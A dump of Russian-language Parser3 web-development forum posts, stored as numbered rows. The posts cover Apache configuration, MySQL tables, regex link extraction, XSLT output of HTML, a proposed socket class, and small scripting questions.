AddCharset ISO-8859-9  .iso8859-9 .latin9 .trk\
AddCharset ISO-2022-JP .iso2022-jp .jis\
AddCharset ISO-2022-KR .iso2022-kr .kis\
AddCharset ISO-2022-CN .iso2022-cn .cis\
AddCharset Big5        .Big5       .big5\
AddCharset WINDOWS-1251 .cp-1251   .win-1251\
AddCharset CP866       .cp866\
AddCharset KOI8-r      .koi8-r .koi8-ru\
AddCharset KOI8-ru     .koi8-uk .ua\
AddCharset ISO-10646-UCS-2 .ucs2\
AddCharset ISO-10646-UCS-4 .ucs4\
AddCharset UTF-8       .utf8\
AddCharset GB2312      .gb2312 .gb \
AddCharset utf-7       .utf7\
AddCharset utf-8       .utf8\
AddCharset big5        .big5 .b5\
AddCharset EUC-TW      .euc-tw\
AddCharset EUC-JP      .euc-jp\
AddCharset EUC-KR      .euc-kr\
AddCharset shift_jis   .sjis\
\
\
AddType application/x-compress .Z\
AddType application/x-gzip .gz .tgz\
AddType application/x-httpd-php .php .php3 .phtml\
\
\
AddHandler cgi-script .bat .exe .cgi .pl\
AddHandler parsed-html .html\
AddHandler type-map var\
\
Action application/x-httpd-php \"C:/usr/local/PHP5/php-cgi.exe\"\
Action parsed-html \"C:/usr/local/Parser3/parser3.exe\"\
\
\
BrowserMatch \"Mozilla/2\" nokeepalive\
BrowserMatch \"MSIE 4\\.0b2;\" nokeepalive downgrade-1.0 force-response-1.0\
BrowserMatch \"RealPlayer 4\\.0\" force-response-1.0\
BrowserMatch \"Java/1\\.0\" force-response-1.0\
BrowserMatch \"JDK/1\\.0\" force-response-1.0\
BrowserMatch \"Microsoft Data Access Internet Publishing Provider\" redirect-carefully\
BrowserMatch \"^WebDrive\" redirect-carefully\
BrowserMatch \"^WebDAVFS/1.[012]\" redirect-carefully\
BrowserMatch \"^gnome-vfs\" redirect-carefully\
\
<IfModule mod_ssl.c>\
    Include conf/ssl.conf\
</IfModule>\
\
\
NameVirtualHost 127.0.0.1\
\
<VirtualHost localhost>\
ServerName localhost\
DocumentRoot \"C:/home/www\"\
ScriptAlias /cgi/ \"C:/home/www/cgi-bin\"\
ErrorLog \"C:/home/error.log\"\
LogLevel warn\
LogFormat \"%h %l %u %t \\\"%r\\\" %>s %b \\\"%{Referer}i\\\" \\\"%{User-Agent}i\\\"\" combined\
CustomLog \"C:/home/access.log\" combined\
</VirtualHost>\
\
<VirtualHost mysql>\
ServerName mysql\
DocumentRoot \"C:/home/mysql/www\"\
ScriptAlias /cgi/ \"C:/home/mysql/www/cgi-bin\"\
ErrorLog \"C:/home/mysql/error.log\"\
LogLevel warn\
LogFormat \"%h %l %u %t \\\"%r\\\" %>s %b \\\"%{Referer}i\\\" \\\"%{User-Agent}i\\\"\" combined\
CustomLog \"C:/home/mysql/access.log\" combined\
</VirtualHost>\
\
<VirtualHost dvrap>\
ServerName dvrap\
DocumentRoot \"C:/home/dvrap/www\"\
ScriptAlias /cgi/ \"C:/home/dvrap/www/cgi-bin\"\
ErrorLog \"C:/home/dvrap/error.log\"\
LogLevel warn\
LogFormat \"%h %l %u %t \\\"%r\\\" %>s %b \\\"%{Referer}i\\\" \\\"%{User-Agent}i\\\"\" combined\
CustomLog \"C:/home/dvrap/access.log\" combined\
</VirtualHost>\
\
<VirtualHost mosaic>\
ServerName mosaic\
DocumentRoot \"C:/home/mosaic/www\"\
ScriptAlias /cgi/ \"C:/home/mosaic/www/cgi-bin\"\
ErrorLog \"C:/home/mosaic/error.log\"\
LogLevel warn\
LogFormat \"%h %l %u %t \\\"%r\\\" %>s %b \\\"%{Referer}i\\\" \\\"%{User-Agent}i\\\"\" combined\
CustomLog \"C:/home/mosaic/access.log\" combined\
</VirtualHost>\
[/code]\
\
При загрузке из браузера скрипта на Parser'е или PHP выводит ошибку 404."
"38641","вот так и знал же... %)"
"38642","CREATE TABLE news (\
id_int not null auto_increment key\
date_date\
header_varchar(255)\
body_text)"
"38644","http://dev.mysql.com/doc/mysql/ru/create-table.html"
"38645","Ясно..."
"38646","А не могли бы вы написать мне код создания таблицы menu, чтобы я хоть понял как это делается"
"38648","Дайте ссылку на справочник по регулярникам.\
Только чтобы без огромного кол-ва примеров на перле.. непонятно просто многое"
"38649","и использовал класс console если да то поделитесь плиз наработками"
"38650","\"это не число\" - значит, что туда надо написать число: количество столбцов. В нашем случае это id+date+header+body=4. Вот цифру \"4\" туда и пиши. Затем жми \"Поехали\", а дальше проще :)"
"38651","поискал по форуму, многие грозились сделать, но так готового и не нашел..\
Может кдо деалл - поделится?\
З.Ы. пытался сам делать но получилась вообще еруднда какая-то.."
"38652","в принципе эту штуку бросил почти доделаную, по причине сильной необходимости делать CMS, там еще ченить наверно нужно доделать, так и не помню сразу, вечером поищу тот файл"
"38654","CREATE TABLE `news` (\
`id` INT NOT NULL AUTO_INCREMENT ,\
`date` DATE NOT NULL ,\
`header` VARCHAR( 255 ) NOT NULL ,\
`body` TEXT NOT NULL ,\
PRIMARY KEY ( `id` ) \
);\
\
А здесь я читаю про MySQL: http://www.mysql.ru/docs/gruber/"
"38657","Уважаемый PAF.\
Мне все чаще нехватает в Парсере работы с сокетами и произвольными протоколами.\
Знаю, что вопрос решаем путем исполнения внешней проги.\
\
Вот решился и нашел человека, который мне поможет написать эту фичу для Парсера.\
Чтобы было примерно так.\
[code]\
^socket[195.218.200.166;$.port[110] $.timeout[60]]{\
Тут код, который работает с протоколом POP3\
\
}\
[/code]\
А вот и сам вопрос.\
Сама суть этой фичи, случаем не противоречит идеологии?\
+ 2 ALL\
Помогите додумать саму концепцию."
"38658","Достаточно давно, года полтора назад пробовал сделать - в частности нужна была возможность получать почту по pop3, что-то даже работало... Постараюсь найти хард тех времен и вытащить из него хоть что-нить.."
"38659","p3_mc_highlight.tgz  (11.01.2005  1,6 КБ)\
Файлы подсветки синтаксиса parser3 и html для Midnight Commander.\
\
http://www.parser.ru/f/1/download/utils/p3_mc_highlight.tgz"
"38661","http://www.parser.ru/examples/regexp/\
\
http://www.spearance.ru/parser3/regex/"
"38662","http://parser2.parser.ru/docs/operators07.html#3-7-6\
\
как они могут выглядеть? Может кто делал или идеи есть какие на этот счет? Ничего не приходит в голову кроме как набить стринг символами по порядку, и потом вынимать с помощью .pos[символ] и .mid(ASCII-код;1), но как-то слишком уж неестественно получается, должно быть проще..."
"38663","Вразумите, please, по работе с XML/XSLT. \
Пытаюсь вывести данные XML, содержащие теги HTML (поступают из базы). \
Html-теги не выводятся на экран. Выводится plain-текст.\
Неужели мне необходимо  в xsl-шаблоне переопределять все теги html?\
\
Для упрощения опишу ситуацию на примере из Уроков.\
\
XML структура берется из файла article.xml.\
=== Файл article.xml ===\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<article> \
	<block1>\
		<p>Это текст для <b>первого</b> блока!<img src=\"/i/aaa.gif\" width=\"100\" height=\"100\"/><br/></p>\
	</block1>\
</article> \
\
Использую шаблон:\
=== Файл article.xsl ===\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>  \
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\"> \
<xsl:template match=\"article\"> \
    <html> \
        <head><title>Проверка вывода HTML</title></head> \
        <body><xsl:apply-templates select=\"block1\" /></body> \
    </html> \
</xsl:template> \
</xsl:stylesheet> \
\
Трансформирую:\
=== Файл index.html ===\
# входной xdoc документ \
$sourceDoc[^xdoc::load[article.xml]] \
\
# преобразование xdoc документа шаблоном article.xsl \
$transformedDoc[^sourceDoc.transform[article.xsl]] \
\
# выдача результата в HTML виде \
^transformedDoc.string[ \
    $.method[html] \
] \
\
Получаю:\
\
Это текст для первого блока!\
\
\
т.е. html не выводится."
"38664","Я бы предложиk сделать что-нибудь такое:\
[code]\
$Socket[^socket::create[host](port)[other_params]]\
$str[^Socket.recv(bytes)]\
^Socket.send[$str]\
$Socket.bytes # кол-во полученых/отправленных байт последней операцией, -1 - ошибка.\
^Socket.close[]\
[/code]\
А классы для работы с POP3, IMAP и т.п. мы сами напишем :)"
"38665","Может быть кто-нибудь даст наводку от которой искать: как сделать свой собственный раздел новостей с использованием RSS?"
"38666","Допишите а свой шаблон строчку:\
<xsl:template match=\"*\"/>\
\
:)\
\
P.S.: http://www.books.ru/shop/books/31172"
"38668","Это не по-парсеровски :)\
А так  - спаисбо.\
\
Жду других предложений и критики PAF-a"
"38670","Спасибо :-), но это сайт я хорошо знаю, даже пример приведенный загружал. Пример отлично отображался :-). Все равно не понимаю откуда плясать :-)"
"38672","Я не спец. в parser, изучаю чуть больше 24 часов пока.\
Вопрос такой: можно ли сделать не xml шаблон, а html, чтобы новости пихать туда?"
"38673","1. Описываем базу данных:\
id - номер\
title - заголовок новости\
text - текст новости\
date - дата новости\
\
2. Забиваем ее данными\
\
3. с помощью SQL запросов формируем массив данных нужных нам\
\
4. дальше просто с помощью parser-a  выводим на странице текст (без <html>):\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
- <rss version=\"2.0\" xmlns:content=\"http://purl.org/rss/1.0/modules/content/\">\
- <channel>\
  <title>Nudnik.ru</title> \
  <link>http://nudnik.ru/</link> \
  <description>Homo Sapiens non urinat in ventum</description>\
\
  <title>$dataTable.titletitle> \
  <link>http://nudnik.ru/entry/3132</link> \
- <description>\
... описание новости\
  </description>\
  <pubDate>$dataTable.date</pubDate>\
и т.д.\
\
и при этом файл выхода должен быть xml. Для этого мы должны в него периодически записывать последние новости либо обрабатывать парсером при запросе этоих файлов пользователем и формировать содержимое на лету."
"38676","если ты расчитываешь в будущем использовать те методы которые используешь для создания менюшек и т.д. лучше их изначально сделать универсальнывми и независящими от конкретного сайта и дизайна. Т.е. каждый метод должен возвращать некую структуру (а в расмотрении сайта в целом, у нас получается довольно большая структура). По сути дела, структура всегда одна и таже. Например, для новостей всегда нужно выводить некоторый набор, каждый элемент которого состоит из заголовка новости, текста и даты. При использовании принципа HTML+Parser+Дизайн у нас каждый метод, помимо формирования этой структуры \"оформляет\" ее кодом html. А этот код уже для каждого сайта свой, т.е. в этом случае мы теряем универсальность.\
\
Если использовать XML и в качестве выхода любого метода получать XML-структуру то можно для каждого сайта описать свои xsl-шаблоны, которые, при этом, не будут зависить от самого parser-а и уже перед непосредственным выводом страниц пользователю скрещивать xml-структуры с соответствующими xsl-шаблонами. Чем-то это похоже на использование CSS. Т.е. мы получаем в результате движек для сайта. При этом, создание xsl-шаблонов можно поручить кому-нибуть другому, не имеющем никакого отношения к parser-у."
"38677","Но есть одна проблема - \
я не хочу использовать мс, вим намного мощнее + мц без дополнительных пачей не работает с юникодом, для меня же проще набрать apt-get install vim чем копаться  с сорцами мц.. так что хочется именно для вима"
"38678","Спасибо за ссылку на книгу по XSLT. Но пока книгу доставят :-), может быть, поможете с конкретным случаем?\
\
Добавление рекомендованной вами строки приводит вообще к пустой конструкции <body></body>. Что совершенно непонятно, поскольку смысл строки, как я понял, в отборе всех темплейтов."
"38679","Имеем хтмл код\
В нем много ссылок\
Как сделать чтобы все парсер нашел все ссылки и занес их в таблицу\
Пример дайте\
Сам не смог :(\
Заранее спасибо"
"38680","Есть MySQL база, есть столбик \"цена\" и значения вроде таких \"50:107:57:0\".\
Как экспортнуть в таблицу (^table:sql[]), так чтобы в этот столбик в таблицу попало 107. Нет ли каких функций? Всегда передо мной лежит свежая документация... Просто не могу найти.\
Помогите пожалуйста. Можно пример рабочего кода.\
Я не ас программирования :( \
Ответившим большое спасибо."
"38681","[code]SELECT SUBSTRING_INDEX(SUBSTRING_INDEX('50:107:57:0', ':', 2), ':', -1)[/code]\
вернет 107.\
\
Если кто знает как можно еще - скажите, пожалуйста."
"38682","Пасип, а как это парсером сделать. Без хэша?"
"38683","[code]$goods[^table::sql{\
    SELECT\
        SUBSTRING_INDEX(SUBSTRING_INDEX(price, ':', 2), ':', -1) AS res_price\
    FROM table\
}]\
\
^goods.menu{\
    $goods.res_price\
}[/code]"
"38684","Добавил в httpd.conf следующее:\
[code]\
<Directory \"C:/home/www\">\
AllowOverride FileInfo\
</Directory>\
\
<Directory \"C:/home/mysql/www\">\
AllowOverride FileInfo\
</Directory>\
\
<Directory \"C:/home/dvrap/www\">\
AllowOverride FileInfo\
</Directory>\
\
<Directory \"C:/home/mosaic/www\">\
AllowOverride FileInfo\
</Directory>\
[/code]\
\
Положение не изменилось..."
"38685","Посмотри http://www.spearance.ru/parser3/regex/?no=7, может поможет..."
"38686","Сделал таким образом:\
[code]\
AddType application/x-httpd-php .phtml .php3 .php\
Action application/x-httpd-php	\"/__php_dir__/php-cgi.exe\"\
ScriptAlias /__php_dir__/ \"C:/usr/local/PHP5/\"\
<Directory \"C:/usr/local/PHP5/\">\
Options ExecCGI\
</Directory>\
\
AddType application/x-httpd-parser .html\
Action application/x-httpd-parser	\"/__parser_dir__/parser3.exe\"\
ScriptAlias /__parser_dir__/ \"C:/usr/local/Parser3/\"\
<Directory \"C:/usr/local/Parser3/\">\
Options ExecCGI\
</Directory>\
[/code]"
"38687","1) можно в хеш набить\
2) можно сделать replace таблицу\
\
Это всяко лучше работы со стрингом."
"38688","Все работает разобрался..."
"38689","[code]\
$links[^table::create{link}]\
$str[^str.match[(?<![=\"])((?i:https?://|ftp://|mailto:)(?:[:\\w~%{}./?=&@,#-]+))]\
[g]{$match.1^links.append{$match.1}}]\
[/code]\
\
Будет ловить ссылки с указанным протоколом (www.parser.ru не прокатит), и почтовые адреса с mailto: в начале."
"38690","<xsl:copy-of select=\"block1\" />"
"38691","Cпасибо, помогло!\
\
Хотя я до сих пор не вполне понимаю смысл этого \"шаманизма\": copy-of ведь рекурсивно копирует все узлы-потомки, атрибуты и пространства имен? \
Ага! В том числе и html?"
"38692","[quot]<p>Это текст для <b>первого</b> блока!<img src=\"/i/aaa.gif\" width=\"100\" height=\"100\"/><br/></p>[/quot]\
так тут XML и есть. Все соответствует. Теги закрыты, атрибуты в кавычках.\
Вот если не будет соответствовать спецификации XML - отгребешь ошибку."
"38695","Интересно было-бы узнать, насколько. PAF вроде что-то намекал про относительно неэффективную работу со строками, но не помню в каком контексте. \
А зато со строкой получается довольно компактно, выглядит примерно так:\
[code]\
@ascii[symb]\
$ascii[ !^\"#^$%&'^(^)*+,-./0123456789^:^;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ]\
$ascii[$ascii^[\\^]^^_`abcdefghijklmnopqrstuvwxyz^{|^}~]\
$result(^ascii.pos[$symb] + 32)\
\
@char[code]\
$ascii[ !^\"#^$%&'^(^)*+,-./0123456789^:^;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ]\
$ascii[$ascii^[\\^]^^_`abcdefghijklmnopqrstuvwxyz^{|^}~]\
$code(^code.int[] - 32)\
$result[^ascii.mid($code;1)]\
[/code]\
это без всяких проверок, если мы точно знаем что на входе..."
"38696","Значит необходимо как-то проверять на валидность код, поступающий из базы. Какие подходы посоветуете, куда бежать?"
"38697","Как видно из примера, функция работает с urlencoded данными в UTF-8 (кодирует в ... / декодирует из ...). \
На второй параметр в escape не обращайте внимания, он ещё на стадии альфа-тестирования, и вообще я не знаю зачем он там нужен...\
[code]\
@main[]\
<pre>\
   ^escape[парсер]\
   ^unescape[%D0%BF%D0%B0%D1%80%D1%81%D0%B5%D1%80]\
</pre>\
\
\
@escape[string;charset][doc;template;transformedDoc]\
^if(!def $charset || !-f \"$MAIN:charsetsdir/${charset}.cfg\"){$charset[$request:charset]}\
$doc[^xdoc::create{<?xml version=\"1.0\" encoding=\"$charset\" ?>\
	<document></document>}]\
$template[^xdoc::create{<?xml version=\"1.0\" encoding=\"$charset\" ?>\
<xsl:stylesheet\
	xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\
	xmlns:str=\"http://exslt.org/strings\"\
	version=\"1.0\">\
<xsl:template match=\"*\">\
<xsl:value-of select=\"str:encode-uri('$string',true())\"/>\
</xsl:template>\
</xsl:stylesheet>\
}]\
$transformedDoc[^doc.transform[$template]] \
$result[^transformedDoc.string[$.method[html]]]\
\
\
@unescape[string][doc;template;transformedDoc]\
$doc[^xdoc::create{<?xml version=\"1.0\" encoding=\"$request:charset\" ?>\
	<document></document>}]\
$template[^xdoc::create{<?xml version=\"1.0\" encoding=\"$request:charset\" ?>\
<xsl:stylesheet\
	xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\
	xmlns:str=\"http://exslt.org/strings\"\
	version=\"1.0\">\
<xsl:template match=\"*\">\
<xsl:value-of select=\"str:decode-uri('$string')\"/>\
</xsl:template>\
</xsl:stylesheet>\
}]\
$transformedDoc[^doc.transform[$template]] \
$result[^transformedDoc.string[$.method[html]]]\
[/code]"
"38698","Желательно проверять при вводе, чтобы в базе был валидный XML.\
как у тебя в базу попадают данные, из DHTML редактора?"
"38699","а как ты \"переделал\"? У меня ничего не получается :-("
"38700","Преамбула: копошусь в чужих скриптах.\
\
Амбула: в определенный момент рисую код:\
\
...\
$citylistfrom[^table::sql{select city from cities where terminals is not null}]\
...\
\
@listfrom[]\
...\
^citylistfrom.menu{<option ^if($citylistfrom.city eq $form:from){selected}>$citylistfrom.city</option>}\
...\
\
И получаю 'menu' undefined method\
\
Не пойму, как 'menu' может быть неопределенным.\
В какую сторону копать?"
"38701","Тут же в порядке эксперимента заменяю этот код на:\
\
[code]$goods[^table::create{pos   good      price\
1   Монитор   1000\
2   Системный блок   1500\
3   Клавиатура   15}\
]\
<table border=1>\
^goods.menu{\
   <tr>\
      <td>$goods.pos</td>\
      <td>$goods.good</td>\
      <td>$goods.price</td>\
   </tr>\
}\
</table>[/code]\
\
И имею:\
'pos' column not found [parser.runtime]\
\
У меня что, класс table, получается, в трубу улетел?"
"38703","$citylistfrom не создан на том этапе, когда вы пытаетесь сделать с ним menu."
"38704","А выборка из базы до обращения к таблицы делается?\
\
P.S. Проверьте буквы \"C\" они схожи с русской \"С\"."
"38705","Да, спасибо. Второй вопрос это решило."
"38706","Так и есть. Просто с толку сбивает это undefined method.\
Спасибо большое."
"38707","Просто хотелось бы посмотреть чужие наработки. Чтоб  по грблям взад-вперед не бегать"
"38708","Предположим, что нужно сделать 10 или более сайтов.\
Каждый из них должен отличаться от другого полностью, а не только дизайном.\
Тогда ведь шаблонный вариант отпадает."
"38710","Да, редактор - это наиболее вероятный вариант. Возможно еще, что будут набирать ручками в textarea. Может быть, еще добавится экзотики - обработка сообщений по e-mail."
"38711","[code]\
@listfrom[]\
\
$citylistfrom[^table::sql{select city from cities where terminals is not null}]\
...\
^citylistfrom.menu{<option ^if($citylistfrom.city eq $form:from){selected}>$citylistfrom.city</option>}\
...\
[/code]"
"38712","Ничего не отпадает! :)\
Структура данных сайта в среднем одинакова.\
например: есть страница, у нее всегда есть заголовок и текст, дата создания, автор и т.п.. На любом сайте.\
От сайта к сайту переделываются только XSL шаблоны.\
Дополнительные фишки реализуются таким образом, что результат работы кода - XML - попадает в общий XML страницы.\
Задача - написать XSL, выводящий то что надо."
"38713","понятно :)"
"38714","Вообще-то, libgc есть в портах.\
\
(15:48:14) root@web.nthost.ru:/usr/ports# make search key=garbage\
Port:   boehm-gc-6.4\
Path:   /usr/ports/devel/boehm-gc\
Info:   Garbage collection and memory leak detection for C and C++\
Maint:  nobutaka@FreeBSD.org\
B-deps: libtool-1.3.5_2\
R-deps:\
WWW:    http://www.hpl.hp.com/personal/Hans_Boehm/gc/"
"38715","Друзья, ответьте, пожалуйста. Debian + MySQL5 = cannot dynamically load executable. Это лечится хоть как-то или до свидания, Парсер?"
"38716","Храните и работайте с разметкой в блоках как с обычным текстом в узле. В нужный момент будете делать <xsl:value-of select=\"block\" disable-output-escaping=\"yes\"/>"
"38717","Спасибо, становиться понятно, а в тегах <link> мы формируем каталог записи информации?"
"38718","а календарь обязательный атрибут внаписании раздела новостей?"
"38719","Я сам пока с RSS не разбирался. Смотри ссылку выше и сам во всем разберешься, там все подробно разжевано для ленивых."
"38720","хотя, главное чтобы работало"
"38721","[code]\
@ascii[symb][i]\
^if(!def $ascii){$ascii[^process{^for[i](1;255){^^#^i.format[%02X]}}]}\
$result(^ascii.pos[$symb] + 1)\
\
@char[code][i]\
^if(!def $ascii){$ascii[^process{^for[i](1;255){^^#^i.format[%02X]}}]}\
$result[^ascii.mid(^code.int(0) - 1;1)]\
[/code]\
никак не получается вставить в строку ^#00, ошибка синтаксиса... :("
"38722","Как лучше сделать следующее.\
\
Необходимо получить целочисленную разницу в днях. Разница может быть отрицательным числом, что означает, что день в прошлом. Например, +1 — это завтра, -1 — это вчера.\
\
Если сделать так…\
[code]\
$now[^date::now[]]\
$set_date[^date::create($form:year; $form:month; $form:day)]\
$offset($set_date - $now)\
[/code]\
…то число получается дробным. При этом, в зависимости от того, положительное оно или отрицательное, необходимо округлять его в разные стороны, насколько я понимаю.\
\
Так вот может можно как-то изящнее это всё сделать?"
"38727","как при выводе таблицы чередовать цвет фона новой строки или скажем цвет текста?\
Мне пока только пришло в голову при добалении записи в базу чередовать 1 и 0. И при выводе если 1- красим, 0-нет. Но так, естественно, не катит..."
"38730","полностью вопрос и ответ сюда. вполне может кому-то пригодиться"
"38731","Во-первых - поиск.\
Не раз обсуждалось.\
\
Во-вторых подумать, отчего зависит закраска через одну ячейку?\
От чётности её порядкового номера.\
Как определить чётный он или нет?\
Разделить номер на 2 и проверить отстаток.\
\
Вот теперь уже посморите на ответ Kaverdo."
"38733","Проблема:\
\
часто ошибаются при наборе email в форме для связи на сайте\
\
Варианты решения:\
\
1. Требовать ввода email адреса повторно [email , email подтверждение]\
\
2. После заполнения формы и отправки выводить введенную информацию для проверки самим пользователем ,  \"предварительный просмотр\"\
\
3. И еще .. проверка существования email адреса, не помню как и где я это видел, или мне причудилось? чтобы отсылался запрос на почтовый сервер, на наличие подобного ящика, если нет ... то просьба повторить, а если все ж уверен, то заполнить.\
\
Минусы последнего: не 100% вариант, некоторые сервера получают почту, любую даже если такого адреса и не существует.\
\
\
Скажите кто что думает по это проблеме?\
\
Спасибо."
"38734","подскажите плиз, как с этим бороться?\
метод зависит от 5-ти переменных.\
если от 2-х то работает."
"38735","есть текст такого плана:\
\
mc_gross=0.01\
address_status=confirmed\
item_number1=119\
tax=0.00\
....\
....\
и т.д.\
\
хочется получить таблицу из 2-х столбцов: \
первый name, содержащий названия переменных, а второй например value, содержащий сами значения. Потому как в дальнейшем хочется проводить выборки из нее, а из текста делать этого не хочется.\
\
если у вас есть идея, как сделать эту информацию просто легко доступной (возможно без исползования таблиц) это тоже интересно.\
\
\
Спасибо.\
\
P.S.\
если вы хотите предложить как вариант \"См. поиск\" или что-то подобное, то не стоит тратить время, лучше напишите ссылку на эту запись, если таковую знаете."
"38736","Есть идея.\
\
Пройтись реплейсом и заменить все равно на табы, из полученного сделать таблицу. :)\
\
Значит вроде этого (не проверял, но должно работать):\
\
[code]\
$text[mc_gross=0.01\
address_status=confirmed\
item_number1=119\
tax=0.00]\
$rep[^table::create{from	to}]\
=	^taint[^#0A]}\
$text_rep[^text.replace[$rep]]\
$table[^table::create{name	value\
$text_rep}]\
[/code]"
"38738","не так все просто:\
\
[code]\
$text[mc_gross=0.01\
address_status=confirmed \
item_number1=119 \
tax=0.00]\
$rep[^table::create{from	to\
=	^taint[^#0A]}]\
$text_rep[^text.replace[$rep]]\
$table[^table::create{name	value\
$text_rep}]\
name - |value|<br>\
^table.menu{\
$table.name - |$table.value|\
\
}[<br>]\
[/code]\
 \
и вот что получается:\
\
	[b]name - |value|[/b]\
mc_gross 0.01 - ||\
address_status confirmed - ||\
item_number1 119 - ||\
tax 0.00 - ||\
\
может всесто таба поставить <br> и потом выборкой через один создать 2 таблицы? \
\
По-моему это дико не рационально, но пока в голову ничего не идет более конкретного...\
\
ждем идей..."
"38739","[code]$str[mc_gross=0.01\
address_status=confirmed\
item_number1=119\
tax=0.00]\
\
# Весь разбор умещается в одну строчку\
$table[^str.match[^^(.*)=(.*)^$][gm]]\
\
# Проверяем, что получилось\
^if($table){\
  ^table.menu{\
     $table.1 -> $table.2\
  }[<br />]\
}\
[/code]"
"38740","пока работает, попробуем двинется дальше.\
\
Спасибо большое."
"38741","[url=\"http://downloads.ebuki.powernews.ru/Wrox//Wrox.Beginning.Regular.Expressions.Jan.2005.ISBN0764574892.pdf\"]Andrew Watt. Beginning Regular Expressions. Wrox Press, Jan 2005 ISBN0764574892[/url] PDF 24.2Mb"
"38743","Я что-то никак не пойму, все тут говорят, что лучше сайт делать на xml, а не на html + parser + mysql.\
Ну допустим создан у меня шаблон, что куски xml кода нужно тоже заносить в auto.p?\
И еще: можете по советовать хороший xml учебник"
"38746","надо?\
берётесь довести до ума?"
"38747","в данном конкретном случае класс pop3 ещё имеет какое-то право на существование.\
правда, сомнительное.\
уверен, тесная интеграция с parser тут вовсе не является необходимой.\
\
если же кто хочет потратить усилия:\
\
есть в природе библиотека gmime, которая позволяет всё сделать удобно.\
в исходниках parser уже используется для варианта\
[code]\
./configure --with-mailreceive\
[/code]\
\
если кто соберётся делать, предлагаю заранее обсудить интерфейс.\
\
но делать предлагаю в том же формате, что и имеющийся\
[code]\
$mail:received\
[/code]\
\
работа с письмом уже написана, надо приделать обмен с сервером."
"38749","Есть такая идея. Кроме уже обсуждавшихся методов в голову приходят еще два. Хочется услышать мнение гуру на эту тему.\
1. При добавлении записи (например в форум), записывать в пользователю время последнего поста. Или в его user_information или в отдельную таблицу не суть важно. При следующей попытки сравнивать текущее время с временем последнего поста. Если разница менее n минут - шлем в известном направлении. более - стандартная процедура внесения записи в базу. \
2. Можно пользовать и вместе с первым. Вычислять хеш поста, заносить его в таблицу и сравнивать с кешем нового поста. совпадает - на 404. \
\
Есть идеи?"
"38750","…скажите ему, что так не делается."
"38751","Мне необходимо на стороне сервера проводить достаточно сложные операции с базой MySQL (расчеты по учету рабочего времени)\
Делаю я это так:\
при работе с системой пользователи запрашивают различные страницы, на которых я в открываю фрейм размером 1х1 из которого уже и вызываю модуль расчета.\
Однако пользователь может и не задержаться на открытой странице, и перейти на другую  - тем самым разорвав сессию.\
Может есть у кого решение, как можно запустить этот расчет в другом потоке, и при разрыве сессии все же заставить парсер произвести вычисления доконца?"
"38752","и описания действий, вплоть до клавиш, какие я нажму, чтобы увидеть ошибку.\
\
/у вас стоит последняя версия?/"
"38753","просто ничего не выведется.\
\
ваш случай — частный случай этого."
"38755","так и тут.\
если [b]очень[/b] надо, можно сделать ^process{}"
"38756","вы, наверное, откроете формочку слева, и воспользуетесь поиском сами.\
и только потом будете спрашивать."
"38757","я курю, при этом надо ли чистить ботинки?»\
\
пожалуйста, перед нажатием кнопки Отправить, прочтите своё творение?"
"38758","1. пользователь = ip?\
а если ценная группа читателей работают в одной компании и ходят в inet через корпоративный proxy?\
\
2. хакеры не знают слова random?\
\
это всё уже обсуждалось, поищите. и не только в этом форуме поищите."
"38759","когда браузер уходит со страницы, разрывая связь с сервером, сервер шлёт в CGI скрипт сигнал SIG_PIPE, который в Parser3 превращается в exception типа parser.interrupted\
\
посмотрите на ваш журнал ошибок, есть такие?\
\
если есть, то у вас всё настроено правильно и вы можете просто ловить эти исключения и возобновлять расчёты.\
\
это если буквально.\
\
небуквально: вы задумывались о запуске чего-то по расписанию? без всякого браузера?"
"38760","Первый, описанный Вами метод, используется в том же phpbb, и ничего кроме раздражения у пользователей не вызывает."
"38761","На сколько я понял то is\
\
[quot]\
Возвращает результат ИСТИНА или ЛОЖЬ в зависимости от того, относится ли левый операнд к заданному типу. \
[/quot]\
\
Почему такой пример выдает всегда \"net\"\
\
^if($rab is int){da}{net}\
\
Внезависимости от того, что в $rab\
?:\\"
"38763","Да хоть что\
\
\"123\"\
\"йцу\"\
\
без кавычек естественно. )"
"38764","Хочу сделать скрипт новостей. Как поставить проверку пароля для раздела добавления новостей?"
"38765","Спасибо за совет с исключительной ситуацией, попробую, может что получится...\
\
По расписанию, не только задумывался, даже уже есть готовый функционал, который выполняется с другого сервера на WSH. Однако это решениечесно говоря напрягает, а как запускать парсерные скрипты по расписанию на Free BSD я так же пока не представляю.\
\
как извесно MySQL тригера не поддерживает ...\
Может подскажете что?"
"38767","тоесть я примерно понимаю это так.\
создать папку admin\
в ней создать файл auto.p и в нем описать процедуру добаления новостей в базу sql.\
а в index.html в папке admin создать форму средствами html с двумя полями login и passwd. А самая загвоздка как сравнить содержимой этих полей с файлом паролей. и соответственно если совпадает то выполнить процедуру из auto.p если нет- то выдать надпись типа пошел в душ и тд...\
хотелось бы чтобы этот файл хранил зашифрованые пароли и из форм тоже были бы зашифрованые"
"38769","Пароли храни в БД. А потом ищи логин в этой базе и пароль. Там же можещь прописать уровень доступа."
"38770","Данные наверное грязные у мя всё работает. Пробовали ^имя.int(default)"
"38771","[code]\
^if(def $form:m){\
\
^if($form:m is int){da}{net}\
\
}\
\
<form method=\"post\">\
<input type=\"text\" name=\"m\" class=\"forma\" size=\"10\">\
<input type=\"submit\" value=\"го\" class=\"forma\">\
</form>\
[/code]\
\
Чтоб я там невводил всегда пишет нет."
"38772","оставил вообще вот такие две строчки\
\
$rab(123)\
^if($rab is int){da}{net}\
\
пишет нет"
"38773","я не до конца понимаю как это реализовать... не могли бы показать примером???"
"38774","я потому и [url=\"http://www.parser.ru/forum/?id=38721\"]сократил диапазон[/url] до 1-255, ибо на 0 он спотыкается :(\
[code]\
$var[^process{^^#00}] ^rem{ -> body of process-(0:1): parse error, expecting `$' }\
^process{^$var^[^^#00^]} ^rem{ -> body of process-(1:6): parse error, expecting `']'' }\
[/code]"
"38775","[quot]\
если вы ещё не прониклись духом, то всё, включаемое в Parser, должно быть простым и понятным и делать минимумом усилий максимум задач.\
низкоуровневая возня с чем бы то ни было не в духе Parser\
[/quot]\
\
А дописывать на другом языке кучу классов и прочей шняги это в духе Парсера?\
